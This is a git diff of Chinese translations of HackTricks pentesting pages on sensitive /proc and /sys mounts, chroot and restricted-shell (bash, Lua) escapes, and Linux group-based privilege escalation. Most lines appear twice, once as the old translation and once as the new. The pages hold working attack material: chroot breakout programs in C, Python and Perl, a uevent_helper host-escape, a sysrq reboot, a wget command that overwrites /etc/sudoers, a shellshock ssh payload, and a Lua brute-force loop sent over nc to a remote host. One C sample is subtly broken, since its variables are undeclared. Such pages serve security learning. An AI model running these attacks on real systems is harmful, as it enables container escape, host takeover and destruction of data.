未经适当命名空间隔离的`/proc`和`/sys`的暴露会引入重大安全风险,包括扩大攻击面和信息泄露。这些目录包含敏感文件,如果配置不当或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
|
||||
未经适当命名空间隔离的`/proc`和`/sys`的暴露会带来重大安全风险,包括增加攻击面和信息泄露。这些目录包含敏感文件,如果配置错误或被未经授权的用户访问,可能导致容器逃逸、主机修改或提供有助于进一步攻击的信息。例如,不正确地挂载`-v /proc:/host/proc`可能绕过AppArmor保护,因为其基于路径的特性,使`/host/proc`无保护。
|
||||
|
||||
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **中找到每个潜在漏洞的更多详细信息。
|
||||
**您可以在** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)** **找到每个潜在漏洞的更多详细信息。
|
||||
|
||||
## procfs漏洞
|
||||
|
||||
|
@ -31,7 +32,7 @@
|
|||
#### **`/proc/sys/kernel/core_pattern`**
|
||||
|
||||
* 在[core(5)](https://man7.org/linux/man-pages/man5/core.5.html)中描述。
|
||||
* 允许定义在生成核心文件时执行的程序,前128个字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
|
||||
* 允许定义一个程序,在核心文件生成时使用前128个字节作为参数。如果文件以管道`|`开头,可能导致代码执行。
|
||||
* **测试和利用示例**:
|
||||
|
||||
```bash
|
||||
|
@ -73,7 +74,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # 检查对modprobe的访问权限
|
|||
|
||||
#### **`/proc/config.gz`**
|
||||
|
||||
* 如果启用了`CONFIG_IKCONFIG_PROC`,可能会泄露内核配置。
|
||||
* 如果启用了`CONFIG_IKCONFIG_PROC`,可能会显示内核配置。
|
||||
* 对攻击者有用,以识别运行中内核中的漏洞。
|
||||
|
||||
#### **`/proc/sysrq-trigger`**
|
||||
|
@ -106,7 +107,7 @@ echo b > /proc/sysrq-trigger # 重启主机
|
|||
#### **`/proc/kcore`**
|
||||
|
||||
* 以ELF核心格式表示系统的物理内存。
|
||||
* 读取可能泄露主机系统和其他容器的内存内容。
|
||||
* 读取可能泄漏主机系统和其他容器的内存内容。
|
||||
* 大文件大小可能导致读取问题或软件崩溃。
|
||||
* 详细用法请参阅[2019年转储/proc/kcore](https://schlafwandler.github.io/posts/dumping-/proc/kcore/)。
|
||||
|
||||
|
@ -150,7 +151,7 @@ host\_path=$(sed -n 's/._\perdir=(\[^,]_).\*/\1/p' /etc/mtab)
|
|||
|
||||
echo "$host\_path/evil-helper" > /sys/kernel/uevent\_helper
|
||||
|
||||
#### 触发一个uevent
|
||||
#### 触发uevent
|
||||
|
||||
echo change > /sys/class/mem/null/uevent
|
||||
|
||||
|
@ -190,16 +191,17 @@ cat /output %%%
|
|||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想在 HackTricks 中看到您的 **公司广告** 或 **下载 PDF 版本的 HackTricks**,请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索 [**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,53 +1,64 @@
|
|||
# Escaping from Jails
|
||||
# 逃离监狱
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客攻击直至成为专家,通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享黑客技巧。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **GTFOBins**
|
||||
|
||||
**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **搜索是否可以执行任何具有"Shell"属性的二进制文件**
|
||||
**在** [**https://gtfobins.github.io/**](https://gtfobins.github.io) **中搜索是否可以使用具有“Shell”属性的任何二进制文件执行**
|
||||
|
||||
## Chroot逃逸
|
||||
## Chroot 逃逸
|
||||
|
||||
来自[wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations):Chroot机制**不旨在防御**有意篡改的**特权**(**root**)**用户**。在大多数系统上,chroot上下文不能正确堆叠,具有足够权限的chroot程序**可以执行第二次chroot以逃脱**。\
|
||||
通常这意味着要逃脱,你需要在chroot内部成为root。
|
||||
来自 [维基百科](https://en.wikipedia.org/wiki/Chroot#Limitations): chroot 机制**并非旨在防止**特权 (**root**) **用户的故意篡改**。在大多数系统上,chroot 上下文无法正确堆叠,具有足够特权的 chroot 程序**可能执行第二个 chroot 以突破限制**。\
|
||||
通常这意味着要逃逸,你需要在 chroot 中成为 root。
|
||||
|
||||
{% hint style="success" %}
|
||||
**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建来滥用以下场景并从`chroot`中逃脱。
|
||||
**工具** [**chw00t**](https://github.com/earthquake/chw00t) 被创建用于滥用以下场景并从 `chroot` 中逃脱。
|
||||
{% endhint %}
|
||||
|
||||
### Root + CWD
|
||||
|
||||
{% hint style="warning" %}
|
||||
如果你在chroot内部是**root**,你**可以逃脱**创建**另一个chroot**。这是因为在Linux中,两个chroots不能共存,所以如果你创建一个文件夹,然后在这个新文件夹上**创建一个新的chroot**,并且**你在它外面**,你现在将会**在新chroot的外面**,因此你将会在文件系统中。
|
||||
如果你在 chroot 中是 **root**,你可以通过创建**另一个 chroot**来逃脱。这是因为 2 个 chroot 不能共存(在 Linux 中),所以如果你创建一个文件夹,然后在该新文件夹上**创建一个新的 chroot**,你将**在其外部**,现在你将**在新的 chroot 之外**,因此你将在文件系统中。
|
||||
|
||||
这是因为通常chroot**不会**将你的工作目录移动到指定的目录,所以你可以创建一个chroot但在外面。
|
||||
这是因为通常 chroot **不会将你的工作目录移动到指定的目录**,因此你可以创建一个 chroot 但在其外部。
|
||||
{% endhint %}
|
||||
|
||||
通常你不会在chroot监狱内找到`chroot`二进制文件,但你**可以编译、上传并执行**一个二进制文件:
|
||||
通常你不会在 chroot 监狱中找到 `chroot` 二进制文件,但你**可以编译、上传和执行**一个二进制文件:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
|
||||
|
||||
````
|
||||
int main(void)
|
||||
{
|
||||
mkdir("chroot-dir", 0755);
|
||||
chroot("chroot-dir");
|
||||
for(int i = 0; i < 1000; i++) {
|
||||
chdir("..");
|
||||
}
|
||||
chroot(".");
|
||||
system("/bin/bash");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
@ -62,191 +73,189 @@ for i in range(1000):
|
|||
os.chdir("..")
|
||||
os.chroot(".")
|
||||
os.system("/bin/bash")
|
||||
````
|
||||
|
||||
|
||||
|
||||
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + 已保存的文件描述符
|
||||
<details>
|
||||
|
||||
<summary>Perl</summary>
|
||||
```perl
|
||||
#!/usr/bin/perl
|
||||
mkdir "chroot-dir";
|
||||
chroot "chroot-dir";
|
||||
foreach my $i (0..1000) {
|
||||
chdir ".."
|
||||
}
|
||||
chroot ".";
|
||||
system("/bin/bash");
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Saved fd
|
||||
|
||||
{% hint style="warning" %}
|
||||
这种情况与前一个案例类似,但在这种情况下,**攻击者存储了一个指向当前目录的文件描述符**,然后**在新文件夹中创建chroot**。最后,由于他可以**访问**那个**FD**,并且该FD位于chroot**之外**,他访问它并且**逃逸**。
|
||||
这与先前的情况类似,但在这种情况下,**攻击者将文件描述符存储到当前目录**,然后**在新文件夹中创建 chroot**。最后,由于他可以在 chroot 之外访问该 **FD**,他访问它并**逃逸**。
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary>C: break_chroot.c</summary>
|
||||
```c
|
||||
#include <sys/stat.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
|
||||
\`\`\`c #include #include #include
|
||||
//gcc break_chroot.c -o break_chroot
|
||||
|
||||
//gcc break\_chroot.c -o break\_chroot
|
||||
|
||||
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
|
||||
|
||||
````
|
||||
int main(void)
|
||||
{
|
||||
mkdir("tmpdir", 0755);
|
||||
dir_fd = open(".", O_RDONLY);
|
||||
if(chroot("tmpdir")){
|
||||
perror("chroot");
|
||||
}
|
||||
fchdir(dir_fd);
|
||||
close(dir_fd);
|
||||
for(x = 0; x < 1000; x++) chdir("..");
|
||||
chroot(".");
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### Root + Fork + UDS (Unix Domain Sockets)
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
{% hint style="warning" %}
|
||||
文件描述符可以通过Unix域套接字传递,因此:
|
||||
|
||||
FD 可以通过 Unix Domain Sockets 传递,因此:
|
||||
|
||||
* 创建子进程 (fork)
|
||||
* 创建 UDS 以便父子进程通信
|
||||
* 在子进程中运行 chroot 到不同文件夹
|
||||
* 在父进程中创建一个 FD,指向子进程 chroot 外的文件夹
|
||||
* 通过 UDS 将该 FD 传递给子进程
|
||||
* 子进程 chdir 到该 FD,由于它位于其 chroot 外部,它将逃离监狱
|
||||
|
||||
</div>
|
||||
* 创建一个子进程(fork)
|
||||
* 创建UDS以便父进程和子进程可以通信
|
||||
* 在子进程中的不同文件夹中运行chroot
|
||||
* 在父进程中,创建一个位于新子进程chroot之外的文件夹的文件描述符
|
||||
* 使用UDS将该文件描述符传递给子进程
|
||||
* 子进程切换到该文件描述符,并因为它在chroot之外,所以将逃离监狱
|
||||
{% endhint %}
|
||||
|
||||
### Root + Mount
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
{% hint style="warning" %}
|
||||
* 将根设备(/)挂载到chroot内部的目录中
|
||||
* 进入该目录的chroot
|
||||
|
||||
* 将根设备 (/) 挂载到 chroot 内部的目录中
|
||||
* Chroot 进入该目录
|
||||
|
||||
这在 Linux 中是可能的
|
||||
|
||||
</div>
|
||||
这在Linux中是可能的
|
||||
{% endhint %}
|
||||
|
||||
### Root + /proc
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* 将 procfs 挂载到 chroot 内部的目录中(如果尚未挂载)
|
||||
* 寻找具有不同 root/cwd 条目的 pid,例如:/proc/1/root
|
||||
* Chroot 进入该条目
|
||||
|
||||
</div>
|
||||
{% hint style="warning" %}
|
||||
* 将procfs挂载到chroot内部的目录中(如果尚未挂载)
|
||||
* 查找具有不同根目录/当前工作目录条目的pid,例如:/proc/1/root
|
||||
* 进入该条目的chroot
|
||||
{% endhint %}
|
||||
|
||||
### Root(?) + Fork
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
|
||||
* 创建 Fork(子进程)并 chroot 进入文件系统更深层的不同文件夹,并在其中 CD
|
||||
* 从父进程中,将子进程所在的文件夹移动到子进程 chroot 之前的文件夹
|
||||
* 这个子进程将发现自己在 chroot 外部
|
||||
|
||||
</div>
|
||||
{% hint style="warning" %}
|
||||
* 创建一个Fork(子进程)并chroot到文件系统中更深层次的不同文件夹并在其上CD
|
||||
* 从父进程中,将子进程所在的文件夹移动到子进程chroot之前的文件夹中
|
||||
* 这个子进程将发现自己在chroot之外
|
||||
{% endhint %}
|
||||
|
||||
### ptrace
|
||||
|
||||
<div data-gb-custom-block data-tag="hint" data-style='warning'>
|
||||
{% hint style="warning" %}
|
||||
* 以前,用户可以从自身的进程中调试自己的进程... 但默认情况下不再可能
|
||||
* 无论如何,如果可能的话,您可以ptrace到一个进程并在其中执行shellcode([参见此示例](linux-capabilities.md#cap\_sys\_ptrace))。
|
||||
{% endhint %}
|
||||
|
||||
* 过去用户可以从其自身的进程中调试自己的进程... 但这默认不再可能
|
||||
* 无论如何,如果可能,你可以 ptrace 进入一个进程并在其中执行 shellcode([参见此示例](linux-capabilities.md#cap_sys_ptrace))。
|
||||
|
||||
</div>
|
||||
|
||||
## Bash 监狱
|
||||
## Bash监狱
|
||||
|
||||
### 枚举
|
||||
|
||||
获取关于监狱的信息:
|
||||
获取有关监狱的信息:
|
||||
```bash
|
||||
echo $SHELL
|
||||
echo $PATH
|
||||
env
|
||||
export
|
||||
pwd
|
||||
````
|
||||
|
||||
#### 修改 PATH
|
||||
```
|
||||
### 修改 PATH
|
||||
|
||||
检查是否可以修改 PATH 环境变量
|
||||
|
||||
```bash
|
||||
echo $PATH #See the path of the executables that you can use
|
||||
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
|
||||
echo /home/* #List directory
|
||||
```
|
||||
|
||||
#### 使用 vim
|
||||
|
||||
### 使用 vim
|
||||
```bash
|
||||
:set shell=/bin/sh
|
||||
:shell
|
||||
```
|
||||
### 创建脚本
|
||||
|
||||
#### 创建脚本
|
||||
|
||||
检查是否可以创建一个内容为 _/bin/bash_ 的可执行文件
|
||||
|
||||
检查是否可以创建一个以 _/bin/bash_ 为内容的可执行文件
|
||||
```bash
|
||||
red /bin/bash
|
||||
> w wx/path #Write /bin/bash in a writable and executable path
|
||||
```
|
||||
### 通过SSH获取bash
|
||||
|
||||
#### 通过 SSH 获取 bash
|
||||
|
||||
如果您通过 ssh 访问,可以使用这个技巧来执行一个 bash shell:
|
||||
|
||||
如果您通过ssh访问,可以使用以下技巧执行bash shell:
|
||||
```bash
|
||||
ssh -t user@<IP> bash # Get directly an interactive shell
|
||||
ssh user@<IP> -t "bash --noprofile -i"
|
||||
ssh user@<IP> -t "() { :; }; sh -i "
|
||||
```
|
||||
|
||||
#### 声明
|
||||
|
||||
### 声明
|
||||
```bash
|
||||
declare -n PATH; export PATH=/bin;bash -i
|
||||
|
||||
BASH_CMDS[shell]=/bin/bash;shell -i
|
||||
```
|
||||
### Wget
|
||||
|
||||
#### Wget
|
||||
|
||||
你可以覆盖例如sudoers文件
|
||||
|
||||
您可以覆盖例如 sudoers 文件
|
||||
```bash
|
||||
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
|
||||
```
|
||||
|
||||
#### 其他技巧
|
||||
|
||||
以下页面包含了关于逃离受限Linux shell的技巧:
|
||||
### 其他技巧
|
||||
|
||||
[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)\
|
||||
[https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)\
|
||||
[https://gtfobins.github.io](https://gtfobins.github.io)\
|
||||
**以下页面也可能有趣:**
|
||||
**也可能对这个页面感兴趣:**
|
||||
|
||||
### Python 监狱
|
||||
{% content-ref url="../bypass-bash-restrictions/" %}
|
||||
[bypass-bash-restrictions](../bypass-bash-restrictions/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
关于逃离Python监狱的技巧,请参阅以下页面:
|
||||
## Python 牢笼
|
||||
|
||||
### Lua 监狱
|
||||
关于从 Python 牢笼中逃脱的技巧,请查看以下页面:
|
||||
|
||||
在此页面中,你可以找到在Lua中可以访问的全局函数:[https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
|
||||
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
**使用命令执行的Eval:**
|
||||
## Lua 牢笼
|
||||
|
||||
在这个页面中,您可以找到 Lua 中可以访问的全局函数: [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
|
||||
|
||||
**带有命令执行的 Eval:**
|
||||
```bash
|
||||
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
|
||||
```
|
||||
|
||||
一些**不使用点调用库函数**的技巧:
|
||||
|
||||
一些**在不使用点号的情况下调用库函数的技巧**:
|
||||
```bash
|
||||
print(string.char(0x41, 0x42))
|
||||
print(rawget(string, "char")(0x41, 0x42))
|
||||
```
|
||||
|
||||
列举库的函数:
|
||||
|
||||
```bash
|
||||
for k,v in pairs(string) do print(k,v) end
|
||||
```
|
||||
|
||||
请注意,每次在**不同的lua环境中执行前面的单行命令时,函数的顺序都会改变**。因此,如果您需要执行一个特定的函数,您可以通过加载不同的lua环境并调用库的第一个函数来执行暴力破解攻击:
|
||||
|
||||
注意,每次在**不同的 Lua 环境中执行上一个单行命令时,函数的顺序会发生变化**。因此,如果您需要执行特定的函数,可以执行暴力攻击,加载不同的 Lua 环境并调用 le 库的第一个函数:
|
||||
```bash
|
||||
#In this scenario you could BF the victim that is generating a new lua environment
|
||||
#for every interaction with the following line and when you are lucky
|
||||
|
@ -257,17 +266,25 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
|
|||
#and "char" from string library, and the use both to execute a command
|
||||
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
|
||||
```
|
||||
|
||||
**获取交互式lua shell**:如果你处于一个受限的lua shell中,你可以通过以下方式调用来获取一个新的lua shell(希望是无限制的):
|
||||
|
||||
**获取交互式lua shell**:如果你在一个受限制的lua shell中,可以调用以下命令获取一个新的lua shell(希望是无限制的):
|
||||
```bash
|
||||
debug.debug()
|
||||
```
|
||||
|
||||
### 参考资料
|
||||
## 参考
|
||||
|
||||
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (幻灯片: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习 AWS 黑客技能:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习 GCP 黑客技能:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,25 @@
|
|||
# 有趣的组 - Linux提权
|
||||
|
||||
{% hint style="success" %}
|
||||
学习并练习AWS黑客:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习并练习GCP黑客:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 检查[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Sudo/Admin 组
|
||||
|
||||
### **PE - 方法1**
|
||||
|
||||
**有时**,**默认情况下(或因为某些软件需要)**,您可以在**/etc/sudoers**文件中找到以下一些行:
|
||||
**有时**,**默认情况下(或因为某些软件需要)**,您可以在**/etc/sudoers**文件中找到以下这些行:
|
||||
```bash
|
||||
# Allow members of group sudo to execute any command
|
||||
%sudo ALL=(ALL:ALL) ALL
|
||||
|
@ -26,36 +27,38 @@
|
|||
# Allow members of group admin to execute any command
|
||||
%admin ALL=(ALL:ALL) ALL
|
||||
```
|
||||
这意味着**属于sudo或admin组的任何用户都可以作为sudo执行任何操作**。
|
||||
这意味着**属于 sudo 或 admin 组的任何用户都可以作为 sudo 执行任何操作**。
|
||||
|
||||
如果是这种情况,要**成为root用户,只需执行**:
|
||||
如果是这种情况,要**成为 root 用户,只需执行**:
|
||||
```
|
||||
sudo su
|
||||
```
|
||||
### PE - 方法2
|
||||
### 提权 - 方法 2
|
||||
|
||||
查找所有SUID二进制文件,并检查是否存在二进制文件 **Pkexec**:
|
||||
```bash
|
||||
find / -perm -4000 2>/dev/null
|
||||
```
|
||||
如果发现二进制文件 **pkexec 是 SUID 二进制文件**,并且你属于 **sudo** 或 **admin** 组,你可能可以使用 `pkexec` 以 sudo 权限执行二进制文件。\
|
||||
如果发现二进制文件 **pkexec 是 SUID 二进制文件**,并且你属于 **sudo** 或 **admin** 组,那么你可能可以使用 `pkexec` 以 sudo 权限执行二进制文件。\
|
||||
这是因为通常这些组是 **polkit 策略** 中的组。该策略基本上标识了哪些组可以使用 `pkexec`。使用以下命令检查:
|
||||
```bash
|
||||
cat /etc/polkit-1/localauthority.conf.d/*
|
||||
```
|
||||
在这里,您将发现允许执行**pkexec**的组以及在某些Linux发行版中**默认情况下**出现的**sudo**和**admin**组。
|
||||
在这里,您将发现有哪些组被允许**默认情况下**执行**pkexec**,在某些Linux发行版中,**sudo**和**admin**组会出现。
|
||||
|
||||
要**成为root用户,您可以执行**:
|
||||
```bash
|
||||
pkexec "/bin/sh" #You will be prompted for your user password
|
||||
```
|
||||
如果尝试执行 **pkexec** 时出现以下 **错误**:
|
||||
如果尝试执行**pkexec**时出现以下**错误**:
|
||||
```bash
|
||||
polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freedesktop.PolicyKit1.Error.Failed: No session for cookie
|
||||
==== AUTHENTICATION FAILED ===
|
||||
Error executing command as another user: Not authorized
|
||||
```
|
||||
**这不是因为你没有权限,而是因为你没有连接到图形界面**。这里有一个解决此问题的方法:[https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903)。你需要**2个不同的ssh会话**:
|
||||
|
||||
{% code title="session1" %}
|
||||
```bash
|
||||
echo $$ #Step1: Get current PID
|
||||
pkexec "/bin/bash" #Step 3, execute pkexec
|
